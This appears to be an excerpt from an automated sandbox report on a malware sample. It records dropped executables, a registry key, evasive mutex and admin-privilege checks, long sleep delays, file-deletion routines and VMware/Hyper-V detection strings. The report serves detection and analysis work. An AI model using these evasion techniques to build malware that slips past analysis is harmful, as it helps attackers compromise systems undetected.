Code function: 12_2_004172C0 LoadLibraryW,GetProcAddress,GetProcAddress,LoadLibraryW,GetProcAddress,GetProcAddress,LoadLibraryW,GetProcAddress,GetProcAddress,LoadLibraryW,GetProcAddress,GetProcAddress,LoadLibraryW,GetProcAddress,GetProcAddress,LoadLibraryW,GetProcAddress,GetProcAddress,LoadLibraryW,GetProcAddress,GetProcAddress,LoadLibraryW,GetProcAddress,GetProcAddress,LoadLibraryW,GetProcAddress,GetProcAddress,LoadLibraryW,GetProcAddress,GetProcAddress,LoadLibraryW,GetProcAddress,GetProcAddress,LoadLibraryW,GetProcAddress,GetProcAddress,LoadLibraryW,GetProcAddress,GetProcAddress,LoadLibraryW,GetProcAddress,GetProcAddress,LoadLibraryW,GetProcAddress,GetProcAddress,LoadLibraryW,GetProcAddress,GetProcAddress,LoadLibraryW,GetProcAddress,GetProcAddress,

12_2_004172C0

Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe

Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\{96AB7DDD-2B74-42A2-A5DD-FBD65C971E33} {2AA5C4F8-3D42-4ED8-A887-E5180E250AF3}

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Office Manager\Application.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Office Manager\Application.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Office Manager\Application.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Office Manager\Application.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Office Manager\Application.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Office Manager\Application.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Office Manager\Application.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Office Manager\Application.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Office Manager\Application.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Office Manager\Application.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Office Manager\Application.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Office Manager\Application.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Office Manager\Application.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Office Manager\Application.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Office Manager\Application.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Office Manager\Application.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Office Manager\Application.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Office Manager\Application.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Office Manager\Application.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Office Manager\Application.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Office Manager\Application.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Office Manager\Application.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Office Manager\Application.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Office Manager\Application.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Office Manager\Application.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Office Manager\Application.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Office Manager\Application.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Office Manager\Application.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Office Manager\Application.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Office Manager\Application.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Office Manager\Application.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Office Manager\Application.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Office Manager\Application.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Office Manager\Application.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Office Manager\Application.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Office Manager\Application.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Office Manager\Application.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Office Manager\Application.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Office Manager\Application.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking mutex)

Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Evasive API call chain: CreateMutex,DecisionNodes,ExitProcess			graph_12-30241
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Evasive API call chain: CreateMutex,DecisionNodes,Sleep			graph_12-30084

Found evasive API chain checking for user administrative privileges

Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe

Check user administrative privileges: IsUserAndAdmin, DecisionNode

graph_12-30192

Switches to a custom stack to bypass stack traces

Source: C:\ProgramData\psh\lcs

API/Special instruction interceptor: Address: 7FF90818E814

Source: C:\Users\user\Desktop\file.exe	Memory allocated: 2D30000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory allocated: 2EC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory allocated: 4EC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\ProgramData\Office Manager\Application.exe	Memory allocated: 2EC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\ProgramData\Office Manager\Application.exe	Memory allocated: 30E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\ProgramData\Office Manager\Application.exe	Memory allocated: 50E0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe

Code function: 12_2_0041BDB0 GetCurrentProcessId,CreateToolhelp32Snapshot,Process32FirstW,CloseHandle,Process32NextW,CloseHandle,

12_2_0041BDB0

Source: C:\Users\user\Desktop\file.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\ProgramData\Office Manager\Application.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe

Evaded block: after key decision

graph_12-30320

Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe

Evasive API call chain: RegOpenKey,DecisionNodes,ExitProcess

graph_12-30402

Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess			graph_12-30238
Source: C:\Windows\explorer.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	API coverage: 2.1 %
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	API coverage: 3.0 %
Source: C:\ProgramData\psh\lcs	API coverage: 0.5 %
Source: C:\Windows\explorer.exe	API coverage: 7.3 %

Source: C:\Users\user\Desktop\file.exe TID: 1616	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3460	Thread sleep count: 101 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3460	Thread sleep time: -3030000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3108	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3128	Thread sleep time: -360000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3460	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\ProgramData\Office Manager\Application.exe TID: 4928	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\ProgramData\psh\lcs TID: 1184	Thread sleep count: 72 > 30	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Last function: Thread delayed
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Last function: Thread delayed

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 10_2_0043F750 FindFirstFileExW,	10_2_0043F750
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: 12_2_0040EC30 _memset,_memset,SHGetKnownFolderPath,lstrlenW,__snwprintf,__snwprintf,CoTaskMemFree,_memset,__snwprintf,FindFirstFileW,_memset,__snwprintf,DeleteFileW,FindNextFileW,FindClose,Sleep,GetFileAttributesW,RemoveDirectoryW,Sleep,GetFileAttributesW,RemoveDirectoryW,Sleep,	12_2_0040EC30
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: 12_2_0041BE40 WaitForSingleObject,LocalAlloc,wnsprintfW,LocalAlloc,FindFirstFileW,WaitForSingleObject,lstrcmpW,lstrcmpW,LocalAlloc,wnsprintfW,RemoveDirectoryW,GetLastError,LocalFree,wnsprintfW,DeleteFileW,FindNextFileW,FindClose,GetLastError,LocalFree,LocalFree,	12_2_0041BE40
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: 12_2_020FC0A7 WaitForSingleObject,LocalAlloc,wnsprintfW,LocalAlloc,FindFirstFileW,WaitForSingleObject,lstrcmpW,lstrcmpW,LocalAlloc,wnsprintfW,RemoveDirectoryW,GetLastError,LocalFree,wnsprintfW,DeleteFileW,FindNextFileW,FindClose,GetLastError,LocalFree,LocalFree,	12_2_020FC0A7
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: 12_2_020EEE97 _memset,_memset,SHGetKnownFolderPath,lstrlenW,__snwprintf,__snwprintf,CoTaskMemFree,_memset,__snwprintf,FindFirstFileW,_memset,__snwprintf,DeleteFileW,FindNextFileW,FindClose,Sleep,GetFileAttributesW,RemoveDirectoryW,Sleep,GetFileAttributesW,RemoveDirectoryW,Sleep,	12_2_020EEE97
Source: C:\ProgramData\psh\lcs	Code function: 13_2_0202C0A7 WaitForSingleObject,LocalAlloc,wnsprintfW,LocalAlloc,FindFirstFileW,WaitForSingleObject,lstrcmpW,lstrcmpW,LocalAlloc,wnsprintfW,RemoveDirectoryW,GetLastError,LocalFree,wnsprintfW,DeleteFileW,FindNextFileW,FindClose,GetLastError,LocalFree,LocalFree,	13_2_0202C0A7
Source: C:\ProgramData\psh\lcs	Code function: 13_2_0201EE97 _memset,_memset,SHGetKnownFolderPath,lstrlenW,__snwprintf,__snwprintf,CoTaskMemFree,_memset,__snwprintf,FindFirstFileW,_memset,__snwprintf,DeleteFileW,FindNextFileW,FindClose,Sleep,GetFileAttributesW,RemoveDirectoryW,Sleep,GetFileAttributesW,RemoveDirectoryW,Sleep,	13_2_0201EE97
Source: C:\Windows\explorer.exe	Code function: 18_2_01307200 SHGetKnownFolderPath,lstrlenW,CoTaskMemFree,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,Sleep,GetFileAttributesW,RemoveDirectoryW,Sleep,GetFileAttributesW,RemoveDirectoryW,Sleep,	18_2_01307200

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Code function: 10_2_00408520 GetVersionExW,GetModuleHandleA,GetProcAddress,GetSystemInfo,

10_2_00408520

Source: C:\Users\user\Desktop\file.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\ProgramData\Office Manager\Application.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: Amcache.hve.16.dr	Binary or memory string: VMware
Source: Amcache.hve.16.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.16.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.16.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.16.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.16.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.16.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.16.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: InstallUtil.exe, 00000004.00000002.2682444065.000000000106D000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2682444065.0000000000FF7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.16.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.16.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.16.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.16.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: lcs, 0000000D.00000002.2684412233.000000000051E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000002.2680772408.0000000001018000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: Amcache.hve.16.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.16.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.16.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.16.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.16.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.16.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.16.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.16.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: InstallUtil.exe, 00000004.00000002.2682444065.000000000106D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWG
Source: Amcache.hve.16.dr	Binary or memory string: VMware-42 27 c7 3b 45 a3 e4 a4-61 bc 19 7c 28 5c 10 19
Source: Amcache.hve.16.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.16.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.16.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.16.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.16.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.16.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.16.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: stub4141_2024-10-16_10-48.exe, 0000000C.00000002.2584815365.00000000005DF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll>
Source: Amcache.hve.16.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	API call chain: ExitProcess graph end node	graph_12-29898
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	API call chain: ExitProcess graph end node	graph_12-29890
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	API call chain: ExitProcess graph end node	graph_12-29767
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	API call chain: ExitProcess graph end node	graph_12-29842
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	API call chain: ExitProcess graph end node	graph_12-29895
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	API call chain: ExitProcess graph end node	graph_12-29901
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	API call chain: ExitProcess graph end node	graph_12-29903
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	API call chain: ExitProcess graph end node	graph_12-29770
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	API call chain: ExitProcess graph end node	graph_12-29885
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	API call chain: ExitProcess graph end node	graph_12-30196
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	API call chain: ExitProcess graph end node	graph_12-29791
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	API call chain: ExitProcess graph end node	graph_12-29803
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	API call chain: ExitProcess graph end node	graph_12-29789
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	API call chain: ExitProcess graph end node	graph_12-29774
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	API call chain: ExitProcess graph end node	graph_12-29899
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	API call chain: ExitProcess graph end node	graph_12-30199
